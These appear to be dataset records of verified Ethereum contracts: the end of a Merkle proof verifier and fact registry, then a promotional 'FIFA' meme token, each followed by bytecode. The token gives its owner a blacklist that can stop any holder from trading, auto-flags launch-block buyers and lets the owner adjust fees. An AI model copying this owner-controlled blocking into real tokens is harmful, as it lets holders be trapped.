Each slot in the queue contains a 32 bytes leaf index and a 32 byte leaf value.
The indices need to be in the range [N..2*N-1] and strictly incrementing.
Decommitments are read from the channel in the ctx.
The input data is destroyed during verification.
*/
function verify(
uint256 channelPtr,
uint256 queuePtr,
bytes32 root,
uint256 n)
internal view
returns (bytes32 hash)
{
uint256 lhashMask = getHashMask();
require(n <= MAX_N_MERKLE_VERIFIER_QUERIES, "TOO_MANY_MERKLE_QUERIES");
assembly {
// queuePtr + i * 0x40 gives the i'th index in the queue.
// hashesPtr + i * 0x40 gives the i'th hash in the queue.
let hashesPtr := add(queuePtr, 0x20)
let queueSize := mul(n, 0x40)
let slotSize := 0x40
// The items are in slots [0, n-1].
let rdIdx := 0
let wrIdx := 0 // = n % n.
// Iterate the queue until we hit the root.
let index := mload(add(rdIdx, queuePtr))
let proofPtr := mload(channelPtr)
// while(index > 1).
for { } gt(index, 1) { } {
let siblingIndex := xor(index, 1)
// sibblingOffset := 0x20 * lsb(siblingIndex).
let sibblingOffset := mulmod(siblingIndex, 0x20, 0x40)
// Store the hash corresponding to index in the correct slot.
// 0 if index is even and 0x20 if index is odd.
// The hash of the sibling will be written to the other slot.
mstore(xor(0x20, sibblingOffset), mload(add(rdIdx, hashesPtr)))
rdIdx := addmod(rdIdx, slotSize, queueSize)
// Inline channel operation:
// Assume we are going to read a new hash from the proof.
// If this is not the case add(proofPtr, 0x20) will be reverted.
let newHashPtr := proofPtr
proofPtr := add(proofPtr, 0x20)
// Push index/2 into the queue, before reading the next index.
// The order is important, as otherwise we may try to read from an empty queue (in
// the case where we are working on one item).
// wrIdx will be updated after writing the relevant hash to the queue.
mstore(add(wrIdx, queuePtr), div(index, 2))
// Load the next index from the queue and check if it is our sibling.
index := mload(add(rdIdx, queuePtr))
if eq(index, siblingIndex) {
// Take sibling from queue rather than from proof.
newHashPtr := add(rdIdx, hashesPtr)
// Revert reading from proof.
proofPtr := sub(proofPtr, 0x20)
rdIdx := addmod(rdIdx, slotSize, queueSize)
// Index was consumed, read the next one.
// Note that the queue can't be empty at this point.
// The index of the parent of the current node was already pushed into the
// queue, and the parent is never the sibling.
index := mload(add(rdIdx, queuePtr))
}
mstore(sibblingOffset, mload(newHashPtr))
// Push the new hash to the end of the queue.
mstore(add(wrIdx, hashesPtr), and(lhashMask, keccak256(0x00, 0x40)))
wrIdx := addmod(wrIdx, slotSize, queueSize)
}
hash := mload(add(rdIdx, hashesPtr))
// Update the proof pointer in the context.
mstore(channelPtr, proofPtr)
}
// emit LogBool(hash == root);
require(hash == root, "INVALID_MERKLE_PROOF");
}
}
contract FactRegistry is IQueryableFactRegistry {
// Mapping: fact hash -> true.
mapping (bytes32 => bool) private verifiedFact;
// Indicates whether the Fact Registry has at least one fact registered.
bool anyFactRegistered;
/*
Checks if a fact has been verified.
*/
function isValid(bytes32 fact)
external view
returns(bool)
{
return _factCheck(fact);
}
/*
This is an internal method to check if the fact is already registered.
In current implementation of FactRegistry it's identical to isValid().
But the check is against the local fact registry,
So for a derived referral fact registry, it's not the same.
*/
function _factCheck(bytes32 fact)
internal view
returns(bool)
{
return verifiedFact[fact];
}
function registerFact(
bytes32 factHash
)
internal
{
// This function stores the fact hash in the mapping.
verifiedFact[factHash] = true;
// Mark first time off.
if (!anyFactRegistered) {
anyFactRegistered = true;
}
}
/*
Indicates whether at least one fact was registered.
*/
function hasRegisteredFact()
external view
returns(bool)
{
return anyFactRegistered;
}
}
contract MerkleStatementContract is MerkleVerifier, FactRegistry {
/*
This function recieves an initial merkle queue (consists of indices of leaves in the merkle
in addition to their values) and a merkle view (contains the values of all the nodes
required to be able to validate the queue). In case of success it registers the Merkle fact,
which is the hash of the queue together with the resulting root.
*/
// NOLINTNEXTLINE: external-function.
function verifyMerkle(
uint256[] memory merkleView,
uint256[] memory initialMerkleQueue,
uint256 height,
uint256 expectedRoot
)
public
{
require(height < 200, "Height must be < 200.");
require(
initialMerkleQueue.length <= MAX_N_MERKLE_VERIFIER_QUERIES * 2,
"TOO_MANY_MERKLE_QUERIES");
uint256 merkleQueuePtr;
uint256 channelPtr;
uint256 nQueries;
uint256 dataToHashPtr;
uint256 badInput = 0;
assembly {
// Skip 0x20 bytes length at the beginning of the merkleView.
let merkleViewPtr := add(merkleView, 0x20)
// Let channelPtr point to a free space.
channelPtr := mload(0x40) // freePtr.
// channelPtr will point to the merkleViewPtr since the 'verify' function expects
// a pointer to the proofPtr.
mstore(channelPtr, merkleViewPtr)
// Skip 0x20 bytes length at the beginning of the initialMerkleQueue.
merkleQueuePtr := add(initialMerkleQueue, 0x20)
// Get number of queries.
nQueries := div(mload(initialMerkleQueue), 0x2)
// Get a pointer to the end of initialMerkleQueue.
let initialMerkleQueueEndPtr := add(merkleQueuePtr, mul(nQueries, 0x40))
// Let dataToHashPtr point to a free memory.
dataToHashPtr := add(channelPtr, 0x20) // Next freePtr.
// Copy initialMerkleQueue to dataToHashPtr and validaite the indices.
// The indices need to be in the range [2**height..2*(height+1)-1] and
// strictly incrementing.
// First index needs to be >= 2**height.
let idxLowerLimit := shl(height, 1)
for { } lt(merkleQueuePtr, initialMerkleQueueEndPtr) { } {
let curIdx := mload(merkleQueuePtr)
// badInput |= curIdx < IdxLowerLimit.
badInput := or(badInput, lt(curIdx, idxLowerLimit))
// The next idx must be at least curIdx + 1.
idxLowerLimit := add(curIdx, 1)
// Copy the pair (idx, hash) to the dataToHash array.
mstore(dataToHashPtr, curIdx)
mstore(add(dataToHashPtr, 0x20), mload(add(merkleQueuePtr, 0x20)))
dataToHashPtr := add(dataToHashPtr, 0x40)
merkleQueuePtr := add(merkleQueuePtr, 0x40)
}
// We need to enforce that lastIdx < 2**(height+1)
// => fail if lastIdx >= 2**(height+1)
// => fail if (lastIdx + 1) > 2**(height+1)
// => fail if idxLowerLimit > 2**(height+1).
badInput := or(badInput, gt(idxLowerLimit, shl(height, 2)))
// Reset merkleQueuePtr.
merkleQueuePtr := add(initialMerkleQueue, 0x20)
// Let freePtr point to a free memory (one word after the copied queries - reserved
// for the root).
mstore(0x40, add(dataToHashPtr, 0x20))
}
require(badInput == 0, "INVALID_MERKLE_INDICES");
bytes32 resRoot = verify(channelPtr, merkleQueuePtr, bytes32(expectedRoot), nQueries);
bytes32 factHash;
assembly {
// Append the resulted root (should be the return value of verify) to dataToHashPtr.
mstore(dataToHashPtr, resRoot)
// Reset dataToHashPtr.
dataToHashPtr := add(channelPtr, 0x20)
factHash := keccak256(dataToHashPtr, add(mul(nQueries, 0x40), 0x20))
}
registerFact(factHash);
}
}
|
0x608060405234801561001057600080fd5b50600436106100415760003560e01c80633fe317a6146100465780636a93856714610174578063d6354e15146101a5575b600080fd5b6101726004803603608081101561005c57600080fd5b81019060208101813564010000000081111561007757600080fd5b82018360208201111561008957600080fd5b803590602001918460208302840111640100000000831117156100ab57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156100fb57600080fd5b82018360208201111561010d57600080fd5b8035906020019184602083028401116401000000008311171561012f57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955050823593505050602001356101ad565b005b6101916004803603602081101561018a57600080fd5b50356103ac565b604080519115158252519081900360200190f35b6101916103bd565b60c8821061021c57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f486569676874206d757374206265203c203230302e0000000000000000000000604482015290519081900360640190fd5b8251610100101561028e57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f544f4f5f4d414e595f4d45524b4c455f51554552494553000000000000000000604482015290519081900360640190fd5b6040805160208681018083528651878301946002909104928481019260009290919085028a01016001891b5b818810156102eb5787518086526020808a0151908701526040988901989095019490811093909317926001016102ba565b60208581016040528b01975060028a1b1092909217915050801561037057604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f494e56414c49445f4d45524b4c455f494e444943455300000000000000000000604482015290519081900360640190fd5b600061037e858789876103c6565b90506000818452602086019350602060408602018420905061039f8161056d565b5050505050505050505050565b60006103b7826105dd565b92915050565b60015460ff1690565b6000806103d16105f2565b9050608083111561044357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601760248201527f544f4f5f4d414e595f4d45524b4c455f51554552494553000000000000000000604482015290519081900360640190fd5b60208501604084026040600080898201518b515b60018211156104e75760018218604060208209888601518160201852878787086002909404858f01528d8401519395506020830192828514156104ca57507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0909201918589018888880896508e87015194505b8051825260406000208b168a870152888887089550505050610457565b9290950151918b525094505050848314905061056457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f494e56414c49445f4d45524b4c455f50524f4f46000000000000000000000000604482015290519081900360640190fd5b50949350505050565b600081815260208190526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660019081179091555460ff166105da57600180547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016811790555b50565b60009081526020819052604090205460ff1690565b7fffffffffffffffffffffffffffffffffffffffff0000000000000000000000009056fea265627a7a723158205691bd5e40d91a9f90f89e7b2510d2f4ae04db7fc951063969f3e0d1f81b048d64736f6c634300050f0032
|
{"success": true, "error": null, "results": {}}
| 8,428 |
0x5c5d03ca0d980774df9d88e3d61f88ef262c5645
|
/**
*Submitted for verification at Etherscan.io on 2022-03-15
*/
// SPDX-License-Identifier: Unlicensed
/*
$FIFA - Launching soon
✅Stealth Launch, No Presale, No Private Sale
FIFA stands for Football International Fun Ape.
This is a non-profit organization dedicated to promote football as a tool to foster communications between different tribes of APE.
FIFA exists to govern football and to develop the game around the planet of the apes.
Thanks to the reign of Caesar, this organisation has been fast evolving into a body that can more effectively serve our game for the benefit of the entire APE world.
The new FIFA is very different from the old human’s FIFA.
We modernize football to be global, accessible and inclusive in all aspects.
Not just on one or two tribes, but everywhere around the planet of the APE.
Under our vision to make football real global and an effective tool to maintain peace,
we will help develop football everywhere so that we can foster communication between our fellow APE’s citizens.
Join our hands and create a better planet of the Ape.
Website: https://fifape.com/
Telegram: https://t.me/fifaeth
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner() {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner() {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract FIFA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isBot;
uint256 private constant _MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (_MAX - (_MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Football International Fun Ape";
string private constant _symbol = "FIFA";
uint private constant _decimals = 9;
uint256 private _teamFee = 12;
uint256 private _previousteamFee = _teamFee;
address payable private _feeAddress;
IUniswapV2Router02 private _uniswapV2Router;
address private _uniswapV2Pair;
bool private _initialized = false;
bool private _noTaxMode = false;
bool private _inSwap = false;
bool private _tradingOpen = false;
uint256 private _launchTime;
uint256 private _initialLimitDuration;
modifier lockTheSwap() {
_inSwap = true;
_;
_inSwap = false;
}
modifier handleFees(bool takeFee) {
if (!takeFee) _removeAllFees();
_;
if (!takeFee) _restoreAllFees();
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[payable(0x000000000000000000000000000000000000dEaD)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(14).div(100);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (2 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 15, "not larger than 15%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
}
|
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf914610404578063cf0848f714610419578063cf9d4afa14610439578063dd62ed3e14610459578063e6ec64ec1461049f578063f2fde38b146104bf57600080fd5b8063715018a61461033a5780638da5cb5b1461034f57806390d49b9d1461037757806395d89b4114610397578063a9059cbb146103c4578063b515566a146103e457600080fd5b806331c2d8471161010857806331c2d847146102535780633bbac57914610273578063437823ec146102ac578063476343ee146102cc5780635342acb4146102e157806370a082311461031a57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101ca57806318160ddd146101fa57806323b872dd1461021f578063313ce5671461023f57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104df565b005b34801561017e57600080fd5b5060408051808201909152601e81527f466f6f7462616c6c20496e7465726e6174696f6e616c2046756e20417065000060208201525b6040516101c191906118fc565b60405180910390f35b3480156101d657600080fd5b506101ea6101e5366004611976565b61052b565b60405190151581526020016101c1565b34801561020657600080fd5b50678ac7230489e800005b6040519081526020016101c1565b34801561022b57600080fd5b506101ea61023a3660046119a2565b610542565b34801561024b57600080fd5b506009610211565b34801561025f57600080fd5b5061017061026e3660046119f9565b6105ab565b34801561027f57600080fd5b506101ea61028e366004611abe565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102b857600080fd5b506101706102c7366004611abe565b610641565b3480156102d857600080fd5b5061017061068f565b3480156102ed57600080fd5b506101ea6102fc366004611abe565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561032657600080fd5b50610211610335366004611abe565b6106c9565b34801561034657600080fd5b506101706106eb565b34801561035b57600080fd5b506000546040516001600160a01b0390911681526020016101c1565b34801561038357600080fd5b50610170610392366004611abe565b610721565b3480156103a357600080fd5b506040805180820190915260048152634649464160e01b60208201526101b4565b3480156103d057600080fd5b506101ea6103df366004611976565b61079b565b3480156103f057600080fd5b506101706103ff3660046119f9565b6107a8565b34801561041057600080fd5b506101706108c1565b34801561042557600080fd5b50610170610434366004611abe565b610978565b34801561044557600080fd5b50610170610454366004611abe565b6109c3565b34801561046557600080fd5b50610211610474366004611adb565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104ab57600080fd5b506101706104ba366004611b14565b610c1e565b3480156104cb57600080fd5b506101706104da366004611abe565b610c94565b6000546001600160a01b031633146105125760405162461bcd60e51b815260040161050990611b2d565b60405180910390fd5b600061051d306106c9565b905061052881610d2c565b50565b6000610538338484610ea6565b5060015b92915050565b600061054f848484610fca565b6105a1843361059c85604051806060016040528060288152602001611ca8602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113e5565b610ea6565b5060019392505050565b6000546001600160a01b031633146105d55760405162461bcd60e51b815260040161050990611b2d565b60005b815181101561063d576000600560008484815181106105f9576105f9611b62565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063581611b8e565b9150506105d8565b5050565b6000546001600160a01b0316331461066b5760405162461bcd60e51b815260040161050990611b2d565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561063d573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461053c9061141f565b6000546001600160a01b031633146107155760405162461bcd60e51b815260040161050990611b2d565b61071f60006114a3565b565b6000546001600160a01b0316331461074b5760405162461bcd60e51b815260040161050990611b2d565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610538338484610fca565b6000546001600160a01b031633146107d25760405162461bcd60e51b815260040161050990611b2d565b60005b815181101561063d57600c5482516001600160a01b039091169083908390811061080157610801611b62565b60200260200101516001600160a01b0316141580156108525750600b5482516001600160a01b039091169083908390811061083e5761083e611b62565b60200260200101516001600160a01b031614155b156108af5760016005600084848151811061086f5761086f611b62565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108b981611b8e565b9150506107d5565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161050990611b2d565b600c54600160a01b900460ff1661094f5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610509565b600c805460ff60b81b1916600160b81b17905542600d819055610973906078611ba9565b600e55565b6000546001600160a01b031633146109a25760405162461bcd60e51b815260040161050990611b2d565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109ed5760405162461bcd60e51b815260040161050990611b2d565b600c54600160a01b900460ff1615610a555760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610509565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aac573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ad09190611bc1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b1d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b419190611bc1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb29190611bc1565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c485760405162461bcd60e51b815260040161050990611b2d565b600f811115610c8f5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b6044820152606401610509565b600855565b6000546001600160a01b03163314610cbe5760405162461bcd60e51b815260040161050990611b2d565b6001600160a01b038116610d235760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610509565b610528816114a3565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d7457610d74611b62565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dcd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df19190611bc1565b81600181518110610e0457610e04611b62565b6001600160a01b039283166020918202929092010152600b54610e2a9130911684610ea6565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e63908590600090869030904290600401611bde565b600060405180830381600087803b158015610e7d57600080fd5b505af1158015610e91573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610f085760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610509565b6001600160a01b038216610f695760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610509565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661102e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610509565b6001600160a01b0382166110905760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610509565b600081116110f25760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610509565b6001600160a01b03831660009081526005602052604090205460ff161561119a5760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610509565b6001600160a01b03831660009081526004602052604081205460ff161580156111dc57506001600160a01b03831660009081526004602052604090205460ff16155b80156111f25750600c54600160a81b900460ff16155b80156112225750600c546001600160a01b03858116911614806112225750600c546001600160a01b038481169116145b156113d357600c54600160b81b900460ff166112805760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610509565b50600c546001906001600160a01b0385811691161480156112af5750600b546001600160a01b03848116911614155b80156112bc575042600e54115b156113035760006112cc846106c9565b90506112ec60646112e6678ac7230489e8000060026114f3565b90611572565b6112f684836115b4565b111561130157600080fd5b505b600d54421415611331576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061133c306106c9565b600c54909150600160b01b900460ff161580156113675750600c546001600160a01b03868116911614155b156113d15780156113d157600c5461139b906064906112e690600f90611395906001600160a01b03166106c9565b906114f3565b8111156113c857600c546113c5906064906112e690600e90611395906001600160a01b03166106c9565b90505b6113d181610d2c565b505b6113df84848484611613565b50505050565b600081848411156114095760405162461bcd60e51b815260040161050991906118fc565b5060006114168486611c4f565b95945050505050565b60006006548211156114865760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610509565b6000611490611716565b905061149c8382611572565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826115025750600061053c565b600061150e8385611c6656